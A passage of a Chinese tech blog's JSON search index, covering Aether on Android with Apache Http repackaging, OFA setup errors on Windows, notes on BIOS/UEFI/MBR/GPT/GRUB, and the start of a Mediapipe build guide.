connTimeout);\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (SocketTimeoutException ex) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eConnectTimeoutException\u003c/span\u003e(\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;Connect to \u0026quot;\u003c/span\u003e + remoteAddress + \u003cspan class=\"hljs-string\"\u003e\u0026quot; timed out :\u0026quot;\u003c/span\u003e + ex.getMessage());\u003cbr\u003e“连接到” + 远程地址 + “ 超时 :” + ex.getMessage());\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e String hostname;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (remoteAddress \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e HttpInetSocketAddress) \u0026#123;\u003cbr\u003e hostname = ((HttpInetSocketAddress) remoteAddress).getHttpHost().getHostName();\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e hostname = remoteAddress.getHostName();\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e SSLSocket sslsock;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// Setup SSL layering if necessary\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (sock \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e SSLSocket) \u0026#123;\u003cbr\u003e sslsock = (SSLSocket) sock;\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eport\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e remoteAddress.getPort();\u003cbr\u003e sslsock = (SSLSocket) \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.socketfactory.createSocket(sock, hostname, port, \u003cspan class=\"hljs-literal\"\u003etrue\u003c/span\u003e);\u003cbr\u003e prepareSocket(sslsock);\u003cbr\u003e \u0026#125;\u003cbr\u003e sslsock.startHandshake();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.hostnameVerifier != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.hostnameVerifier.verify(hostname, sslsock);\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// verifyHostName() didn\u0026#x27;t blowup - good!\u003c/span\u003e\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (IOException iox) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// close the socket before re-throwing the exception\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e sslsock.close();\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (Exception x) \u0026#123; \u003cspan class=\"hljs-comment\"\u003e/*ignore*/\u003c/span\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e iox;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e sslsock;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这里我们直接使用Android所兼容的Apache Http API即可。\u003c/p\u003e\u003ch5 id=\"结论\"\u003e\u003ca href=\"#结论\" class=\"headerlink\" title=\"结论\"\u003e\u003c/a\u003e结论\u003c/h5\u003e\u003cp\u003e经实验,部分手机可以允许,Homo OS依旧无法运行。最大的问题在于,这个JarFilter支持的AGP版本太低,在AGP版本较高时便不能在build release时正常运行,在部分版本下只能在build debug正常运行。\u003c/p\u003e\u003cp\u003e寄。\u003c/p\u003e\u003ch4 id=\"Try3-强行塞入PC端Jre的一些类-Apache-Http包-成功\"\u003e\u003ca href=\"#Try3-强行塞入PC端Jre的一些类-Apache-Http包-成功\" class=\"headerlink\" title=\"Try3: 强行塞入PC端Jre的一些类+Apache Http包 (成功)\"\u003e\u003c/a\u003eTry3: 强行塞入PC端Jre的一些类+Apache Http包 (成功)\u003c/h4\u003e\u003cp\u003e既然,Aether是transport缺少Apache Http API而无法运行,那么是不是可以直接把Apache Http给强行迁移过来呢?是,但是需要一定的魔改。\u003c/p\u003e\u003cp\u003e众所周知,JVM运行中,因为双亲委托机制的存在,用户能操作的ClassLoader是不能覆盖系统提供的类文件的,否则会有各种奇妙的异常(因为不同设备对Apache Http的阉割情况可能不同),所以我们不能简单地直接依赖原版Apache Http包。\u003c/p\u003e\u003cp\u003e那么,较优的方法是通过JarJar修改所有包下关于Apache Http的包名信息为自定义的,然后强行塞入App内,\u003cdel\u003e让它成为你想要的形状\u003c/del\u003e。\u003c/p\u003e\u003ch5 id=\"实践-1\"\u003e\u003ca href=\"#实践-1\" class=\"headerlink\" title=\"实践\"\u003e\u003c/a\u003e实践\u003c/h5\u003e\u003cp\u003e(因为当时没完整记录这个流程,导致没有截图啥的信息,只在此说明大概思路了。)\u003c/p\u003e\u003cp\u003e首先,下载所需版本的\u003cem\u003eaether-transport-http.jar\u003c/em\u003e、\u003cem\u003eApache Http Core.jar\u003c/em\u003e、\u003cem\u003eApache Http Client.jar\u003c/em\u003e;\u003c/p\u003e\u003cp\u003e然后,利用JarJar手写规则,将\u003cem\u003eorg.apache.http\u003c/em\u003e包名更改为你自定义的包名;\u003c/p\u003e\u003cp\u003e最后,去掉build.gradle中对于aether-transport-http、Apache Http Core以及Apache Http Client的依赖,改为上述已修改的Jar。\u003c/p\u003e\u003cp\u003e如果没有意外的话,就有意外了,发现又有新的报错,是缺少javax.*包下的类,这个解决也很简单暴力,直接复制一份Jre 1.8下lib文件夹内的rt.jar,删除一些无关类即可。(删除什么我已经忘记了,可以自行尝试,即使删的少了也并不会影响运行。)\u003c/p\u003e\u003ch5 id=\"结论-1\"\u003e\u003ca href=\"#结论-1\" class=\"headerlink\" title=\"结论\"\u003e\u003c/a\u003e结论\u003c/h5\u003e\u003cp\u003e经实验,本解决方案完美适配已知所有设备(Homo也难不倒它),可以放心地使用此方案。\u003c/p\u003e","url":"https://xiue233.github.io/2023/09/05/aether-in-android/"},{"title":"OFA使用下遇到的问题","time":"2022-12-04T02:18:53Z","content":"\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/OFA-Sys/OFA\"\u003eOFA\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://colab.research.google.com/github/mit-han-lab/once-for-a\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://github.com/OFA-Sys/OFA\"\u003eOFA\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://colab.research.google.com/github/mit-han-lab/once-for-all/blob/master/tutorial/ofa.ipynb#scrollTo=AUhMWvPdr0Z6\"\u003eOFA样例\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e又是瞎折腾的一天… \u003c/p\u003e\u003ch2 id=\"一、Linux下搭建\"\u003e\u003ca href=\"#一、Linux下搭建\" class=\"headerlink\" title=\"一、Linux下搭建\"\u003e\u003c/a\u003e一、Linux下搭建\u003c/h2\u003e\u003cp\u003e按照要求搭建即可,没啥特殊的情况,注意把需要的库下载完整。 \u003c/p\u003e\u003cp\u003e但是我的Linux因为种种原因挂不上N卡,我就换Windows了。\u003c/p\u003e\u003ch2 id=\"二、Windows下搭建\"\u003e\u003ca href=\"#二、Windows下搭建\" class=\"headerlink\" title=\"二、Windows下搭建\"\u003e\u003c/a\u003e二、Windows下搭建\u003c/h2\u003e\u003ch3 id=\"1-torch-cuda-is-available-为False\"\u003e\u003ca href=\"#1-torch-cuda-is-available-为False\" class=\"headerlink\" title=\"(1) torch.cuda.is_available()为False\"\u003e\u003c/a\u003e(1) torch.cuda.is_available()为False\u003c/h3\u003e\u003cp\u003e需要安装Nvidia Toolkit,并且安装特定版本的torch即可。\u003c/p\u003e\u003ch3 id=\"2-运行时报错,报错中显示让使用freeze-support\"\u003e\u003ca href=\"#2-运行时报错,报错中显示让使用freeze-support\" class=\"headerlink\" title=\"(2) 运行时报错,报错中显示让使用freeze_support()\"\u003e\u003c/a\u003e(2) 运行时报错,报错中显示让使用freeze_support()\u003c/h3\u003e\u003cfigure class=\"highlight livecodeserver\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs livecodeserver\"\u003eRuntimeError: \u003cbr\u003e An attempt has been made \u003cspan class=\"hljs-built_in\"\u003eto\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003estart\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ea\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003eprocess\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ebefore\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethe\u003c/span\u003e\u003cbr\u003e current \u003cspan class=\"hljs-built_in\"\u003eprocess\u003c/span\u003e has finished its bootstrapping phase.\u003cbr\u003e This probably means that you are \u003cspan class=\"hljs-keyword\"\u003enot\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eusing\u003c/span\u003e fork \u003cspan class=\"hljs-built_in\"\u003eto\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003estart\u003c/span\u003e your\u003cbr\u003e child processes \u003cspan class=\"hljs-keyword\"\u003eand\u003c/span\u003e you have forgotten \u003cspan class=\"hljs-built_in\"\u003eto\u003c/span\u003e use \u003cspan class=\"hljs-keyword\"\u003ethe\u003c/span\u003e proper idiom\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethe\u003c/span\u003e main module:\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e __name__ == \u003cspan class=\"hljs-string\"\u003e\u0026#x27;__main__\u0026#x27;\u003c/span\u003e:\u003cbr\u003e freeze_support()\u003cbr\u003e ...\u003cbr\u003e The \u003cspan class=\"hljs-string\"\u003e\u0026quot;freeze_support()\u0026quot;\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003eline\u003c/span\u003e can be omitted \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethe\u003c/span\u003e program\u003cbr\u003e is \u003cspan class=\"hljs-keyword\"\u003enot\u003c/span\u003e going \u003cspan class=\"hljs-built_in\"\u003eto\u003c/span\u003e be frozen \u003cspan class=\"hljs-built_in\"\u003eto\u003c/span\u003e produce \u003cspan class=\"hljs-keyword\"\u003ean\u003c/span\u003e executable.\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个是因为Windows和Linux下mutilprocessing实现不同的问题,可以参考下面几个帖子:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/pyinstaller/pyinstaller/wiki/Recipe-Multiprocessing\"\u003eRecipe-Multiprocessing\u003c/a\u003e \u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_42316691/article/details/120993311?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167012141816800186577851%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D\u0026request_id=167012141816800186577851\u0026biz_id=0\u0026utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-22-120993311-null-null.142%5Ev67%5Econtrol,201%5Ev3%5Econtrol_1,213%5Ev2%5Et3_esquery_v3\u0026utm_term=windows%20freeze_support\u0026spm=1018.2226.3001.4187\"\u003eThe “freeze_support()“ line can be omitted if the program\u003c/a\u003e \u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_47269200/article/details/115443949?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167012141816800186577851%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D\u0026request_id=167012141816800186577851\u0026biz_id=0\u0026utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-21-115443949-null-null.142%5Ev67%5Econtrol,201%5Ev3%5Econtrol_1,213%5Ev2%5Et3_esquery_v3\u0026utm_term=windows%20freeze_support\u0026spm=1018.2226.3001.4187\"\u003epython运行子进程时报错:The “freeze_support()“ line can be omitted if the program is not going to be froze\u003c/a\u003e \u003c/p\u003e\u003cp\u003e\u003ca href=\"https://chtalhaanwar.medium.com/pytorch-num-workers-a-tip-for-speedy-training-ed127d825db7\"\u003ePyTorch num_workers, a tip for speedy training\u003c/a\u003e \u003c/p\u003e\u003cp\u003e最后,我的解决方案就是,\u003cstrong\u003e根据报错修改OFA库源码内涉及设置num_works的,改为0\u003c/strong\u003e,就没有报错了(但是存在负面影响,具体可以看上面的链接)。\u003c/p\u003e","url":"https://xiue233.github.io/2022/12/04/ofa_bugs/"},{"title":"PC小芝士","time":"2022-10-25T10:33:30Z","content":"\u003cblockquote\u003e\n\u003cp\u003e记录下对于PC boot的学习\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"一、BIOS-摘记\"\u003e\u003ca href=\"#一、BIOS-摘记\" class=\"headerlink\" title=\"一、BIOS(摘记)\"\u003e\u003c/a\u003e\u003cstrong\u003e\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e记录下对于PC boot的学习\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"一、BIOS-摘记\"\u003e\u003ca href=\"#一、BIOS-摘记\" class=\"headerlink\" title=\"一、BIOS(摘记)\"\u003e\u003c/a\u003e\u003cstrong\u003e一、BIOS(摘记)\u003c/strong\u003e\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e摘自:\u003ca href=\"https://zhuanlan.zhihu.com/p/89058949\"\u003eBios到底是什么?——知乎\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"1-BIOS概念\"\u003e\u003ca href=\"#1-BIOS概念\" class=\"headerlink\" title=\"(1) BIOS概念\"\u003e\u003c/a\u003e(1) BIOS概念\u003c/h3\u003e\u003cp\u003eBlOS(Basic Input Output System)从字义上称为“基本输出输入系统”,专门负责系统硬件各种参数设定,本质上是“程序”,也就是一组“代码”。\u003c/p\u003e\u003cp\u003eBIOS程序是用汇编语言编写,通电后,BIOS首先连接到南桥(ESB),然后是北桥(MCH),最后连接CPU。\u003c/p\u003e\u003ch3 id=\"2-BIOS芯片概念\"\u003e\u003ca href=\"#2-BIOS芯片概念\" class=\"headerlink\" title=\"(2) BIOS芯片概念\"\u003e\u003c/a\u003e(2) BIOS芯片概念\u003c/h3\u003e\u003cp\u003eBIOS芯片,特指存储BIOS程序的一块ROM芯片。\u003c/p\u003e\u003cp\u003eROM芯片本质是一个储存器,是主板上快闪EEPROM内存模块板中的长方形或正方形芯片,可以存储BIOS程序,也可以存储其它程序、代码。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eEEPROM (Electrically Erasable Programmable read only memory)是指带电可擦可编程只读存储器。是一种掉电后数据不丢失的存储芯片。 EEPROM 可以在电脑上或专用设备上擦除已有信息,重新编程。一般用在即插即用。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"3-BIOS的作用\"\u003e\u003ca href=\"#3-BIOS的作用\" class=\"headerlink\" title=\"(3) BIOS的作用\"\u003e\u003c/a\u003e(3) BIOS的作用\u003c/h3\u003e\u003cp\u003e作为计算机开机之后,运行的第一个程序。\u003c/p\u003e\u003cp\u003e带领CPU识别主板上的重要硬件和集成元件,如硬盘、显卡、声卡以及各种接口,然后按照预设顺序读取存储器上操作系统的引导文件,通过设置的启动模式找到引导分区装载操作系统。\u003c/p\u003e\u003cp\u003e顺利引导操作系统之后,BIOS功成身退、隐于后台。\u003c/p\u003e\u003ch3 id=\"4-BIOS的加载顺序\"\u003e\u003ca href=\"#4-BIOS的加载顺序\" class=\"headerlink\" title=\"(4) BIOS的加载顺序\"\u003e\u003c/a\u003e(4) BIOS的加载顺序\u003c/h3\u003e\u003cp\u003eBIOS程序是用汇编语言编写,通电后,BIOS首先连接到南桥(ESB),然后是北桥(MCH),最后连接CPU。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://tech.sina.com.cn/h/2008-02-26/0600586034.shtml\"\u003e英特尔主流服务器芯片组技术对比分析\u003c/a\u003e\u003cbr\u003e英特尔的北桥芯片被称为Chipset Memory Controller Hub (MCH),主板的北桥芯片组决定主板可以支持的CPU种类、前端总线频率、内存规格和容量等等,并且北桥芯片是处理器和高速设备的联系纽带,包括内存、高速PCI Express等设备的总线就是构架于北桥之上。\u003cbr\u003e主板南桥芯片组决定着支持的扩展插槽和扩展接口的种类和数量,并且负责完成相对低速的系统设备的连接,如USB2.0接口、SATA接口、PCI-E x4、PCI-x、低速的PCI等等,同时,南桥芯片集成电源管理功能,也可以集成音频芯片如AC’97,节省系统成本。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"5-BIOS芯片内储存的程序段\"\u003e\u003ca href=\"#5-BIOS芯片内储存的程序段\" class=\"headerlink\" title=\"(5) BIOS芯片内储存的程序段\"\u003e\u003c/a\u003e(5) BIOS芯片内储存的程序段\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e自诊断程序\u003c/strong\u003e\u003cbr\u003e通过读取CMOSRAM中的内容,识别硬件配置,并对其进行自检和初始化。 \u003c/li\u003e\u003cli\u003e\u003cstrong\u003eCMOS设置程序\u003c/strong\u003e\u003cbr\u003e引导过程中,用特殊热键启动,进行设置后,存入CMOS RAM中。 \u003c/li\u003e\u003cli\u003e\u003cstrong\u003e系统自检装载程序\u003c/strong\u003e\u003cbr\u003e在自检成功后,将磁盘0磁道0扇区上的引导程序装入内存,运行加载操作系统。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e主要l\u0026#x2F;0设备驱动程序和中断服务\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"二、UEFI\"\u003e\u003ca href=\"#二、UEFI\" class=\"headerlink\" title=\"二、UEFI\"\u003e\u003c/a\u003e\u003cstrong\u003e二、UEFI\u003c/strong\u003e\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://baike.baidu.com/item/%E7%BB%9F%E4%B8%80%E5%8F%AF%E6%89%A9%E5%B1%95%E5%9B%BA%E4%BB%B6%E6%8E%A5%E5%8F%A3/22786233?fromtitle=UEFI\u0026fromid=3556240\u0026fr=aladdin\"\u003e统一可扩展固件接口(英语:Unified Extensible Firmware Interface,缩写UEFI)是一种个人电脑系统规格,用来定义操作系统与系统固件之间的软件界面,作为BIOS的替代方案。可扩展固件接口负责加电自检(POST)、联系操作系统以及提供连接操作系统与硬件的接口\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"1-概念与特点\"\u003e\u003ca href=\"#1-概念与特点\" class=\"headerlink\" title=\"(1) 概念与特点\"\u003e\u003c/a\u003e(1) 概念与特点\u003c/h3\u003e\u003cp\u003eUEFI可以认为是BIOS的升级版,不仅有UI界面,并且容错和纠错特性也更强。\u003c/p\u003e\u003cp\u003e相比于传统的BIOS,UEFI加入了对新硬件的支持,其中就有支持2TB以上硬盘。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eTips:\u003c/strong\u003e UEFI应该使用FAT32分区格式。\u003c/p\u003e\u003ch3 id=\"2-兼容性\"\u003e\u003ca href=\"#2-兼容性\" class=\"headerlink\" title=\"(2) 兼容性\"\u003e\u003c/a\u003e(2) 兼容性\u003c/h3\u003e\u003cp\u003e可以把UEFI设置成Legacy模式(传统模式)让其支持传统MBR启动,效果同BIOS+MBR。\u003c/p\u003e\u003ch2 id=\"三、MBR与GPT\"\u003e\u003ca href=\"#三、MBR与GPT\" class=\"headerlink\" title=\"三、MBR与GPT\"\u003e\u003c/a\u003e\u003cstrong\u003e三、MBR与GPT\u003c/strong\u003e\u003c/h2\u003e\u003ch3 id=\"1-MBR\"\u003e\u003ca href=\"#1-MBR\" class=\"headerlink\" title=\"(1) MBR\"\u003e\u003c/a\u003e(1) MBR\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e主引导记录(MBR,Master Boot Record)是采用MBR分区表的硬盘的第一个扇区,即C\u0026#x2F;H\u0026#x2F;S地址的0柱面0磁头1扇区,也叫做MBR扇区。\u003cbr\u003e在深入讨论主引导扇区内部结构的时候,有时也将其开头的446字节内容特指为“主引导记录”(MBR),其后是4个16字节的“磁盘分区表”(DPT),以及2字节的结束标志(55AA)。因此,在使用“主引导记录”(MBR)这个术语的时候,需要根据具体情况判断其到底是指整个主引导扇区,还是主引导扇区的前446字节。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eMBR(Master Boot Record)是传统的分区表类型,当电脑启动时,会先启动BIOS,BIOS再从硬盘上读取MBR主引导记录,硬盘上的MBR读取后,就会启动操作系统,但最大的缺点则是不支持容量大于2T的硬盘。\u003c/p\u003e\u003ch3 id=\"2-GPT\"\u003e\u003ca href=\"#2-GPT\" class=\"headerlink\" title=\"(2) GPT\"\u003e\u003c/a\u003e(2) GPT\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e全局唯一标识分区表(GUID Partition Table,缩写:GPT)是指全局唯一标示磁盘分区表格式。它是可扩展固件接口(EFI)标准(被Intel用于替代个人计算机的BIOS)的一部分,被用于替代BIOS系统中的以32bits来存储逻辑块地址和大小信息的主引导记录(MBR)分区表。\u003cbr\u003e对于那些扇区为512字节的磁盘,MBR分区表不支持容量大于2.2TB(2.2 ×1012字节)的分区,然而,一些硬盘制造商(诸如希捷和西部数据)注意到这个局限性,并且将他们的容量较大的磁盘升级到4KB的扇区,这意味着MBR的有效容量上限提升到16 TiB。\u003cbr\u003e这个看似“正确的”解决方案,在临时地降低人们对改进磁盘分配表的需求的同时,也给市场带来关于在有较大的块(block)的设备上从BIOS启动时,如何最佳的划分磁盘分区的困惑。GPT分配64bits给逻辑块地址,因而使得最大分区大小在264-1个扇区成为可能。对于每个扇区大小为512字节的磁盘,那意味着可以有9.4ZB(9.4×1012字节)或8 ZiB 个512字节(9,444,732,965,739,290,426,880字节或 18,446,744,073,709,551,615(264-1)个扇区×512(29)字节每扇区)。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eGPT是另一种更先进的磁盘系统分区方式,它的出现弥补了MBR这个缺点,最大支持18EB的硬盘,是基于UEFI使用的磁盘分区架构。\u003c/p\u003e\u003ch2 id=\"四、GRUB\"\u003e\u003ca href=\"#四、GRUB\" class=\"headerlink\" title=\"四、GRUB\"\u003e\u003c/a\u003e\u003cstrong\u003e四、GRUB\u003c/strong\u003e\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003eGNU GRUB(GRand Unified Bootloader简称“GRUB”)是一个来自GNU项目的多操作系统启动程序。GRUB是多启动规范的实现,它允许用户可以在计算机内同时拥有多个操作系统,并在计算机启动时选择希望运行的操作系统。GRUB可用于选择操作系统分区上的不同内核,也可用于向这些内核传递启动参数。 \u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eGRUB(GRand unified bootloader),多操作系统启动程序。它允许用户可以在计算机内同时拥有多个操作系统,并在计算机启动时选择希望运行的操作系统。 \u003c/p\u003e\u003cp\u003eGRUB可用于选择操作系统分区上的不同内核,也可用于向这些内核传递启动参数。它是一个多重操作系统启动管理器,用来引导不同系统,如Windows、Linux。Linux常见的引导程序包括LILO、GRUB、GRUB2。如下图所示为GRUB加载引导流程。 \u003c/p\u003e\u003cp\u003eCentos 7 默认使用GRUB2引导系统启动,GRUB2 是基于 GRUB 开发成更加安全强大的多系统引导程序,最新Linux发行版都是使用GRUB2作为引导程序。同时GRUB2采用了模块化设计,使得GRUB2核心更加精炼,使用更加灵活,同时也就不需要像GRUB分为 stage 1、stage 1.5、stage 2三个阶段。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e摘自\u003ca href=\"https://blog.csdn.net/xhtchina/article/details/113789538\"\u003eBIOS, UEFI, MBR, GPT, GRUB介绍\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e","url":"https://xiue233.github.io/2022/10/25/os_knowledge/"},{"title":"记一次编译Mediapipe","time":"2022-10-01T14:24:51Z","content":"\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/google/mediapipe\"\u003eMediapipe\u003c/a\u003e作为一个可以跨平台的流视频处理库,也兼容了安卓的使用(毕竟亲爹是Google)。\u003cbr\u003e为了在安卓里使用Mediapipe需要使用\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://github.com/google/mediapipe\"\u003eMediapipe\u003c/a\u003e作为一个可以跨平台的流视频处理库,也兼容了安卓的使用(毕竟亲爹是Google)。\u003cbr\u003e为了在安卓里使用Mediapipe需要使用bazel将mediapipe的编译为aar,来使用。\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"环境要求\"\u003e\u003ca href=\"#环境要求\" class=\"headerlink\" title=\"环境要求\"\u003e\u003c/a\u003e\u003cstrong\u003e环境要求\u003c/strong\u003e\u003c/h2\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003eLinux系统\u003c/strong\u003e(部分配置需要sh完成,为了便利,不推荐使用windows编译)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003ebazel编译器\u003c/strong\u003e(用于编译)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eadb\u003c/strong\u003e(需不需要无所谓,是便于之后bazel打包apk后,直接install)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eOpenCV\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eJDK\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003epython\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"配置环境\"\u003e\u003ca href=\"#配置环境\" class=\"headerlink\" title=\"配置环境\"\u003e\u003c/a\u003e\u003cstrong\u003e配置环境\u003c/strong\u003e\u003c/h2\u003e\u003ch3 id=\"1-配置依赖环境\"\u003e\u003ca href=\"#1-配置依赖环境\" class=\"headerlink\" title=\"(1)配置依赖环境\"\u003e\u003c/a\u003e(1)配置依赖环境\u003c/h3\u003e\u003cp\u003e配置依赖环境\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt-get update \u0026amp;\u0026amp; sudo apt-get install -y build-essential git python zip adb openjdk-8-jdk\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e注意:指定python可能报错,可以自行更改为python3\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e安装JDK(方便之后编译java文件):\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt install openjdk-11-jdk\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e安装C++编译器:\u003c/p\u003e\u003cfigure class=\"highlight 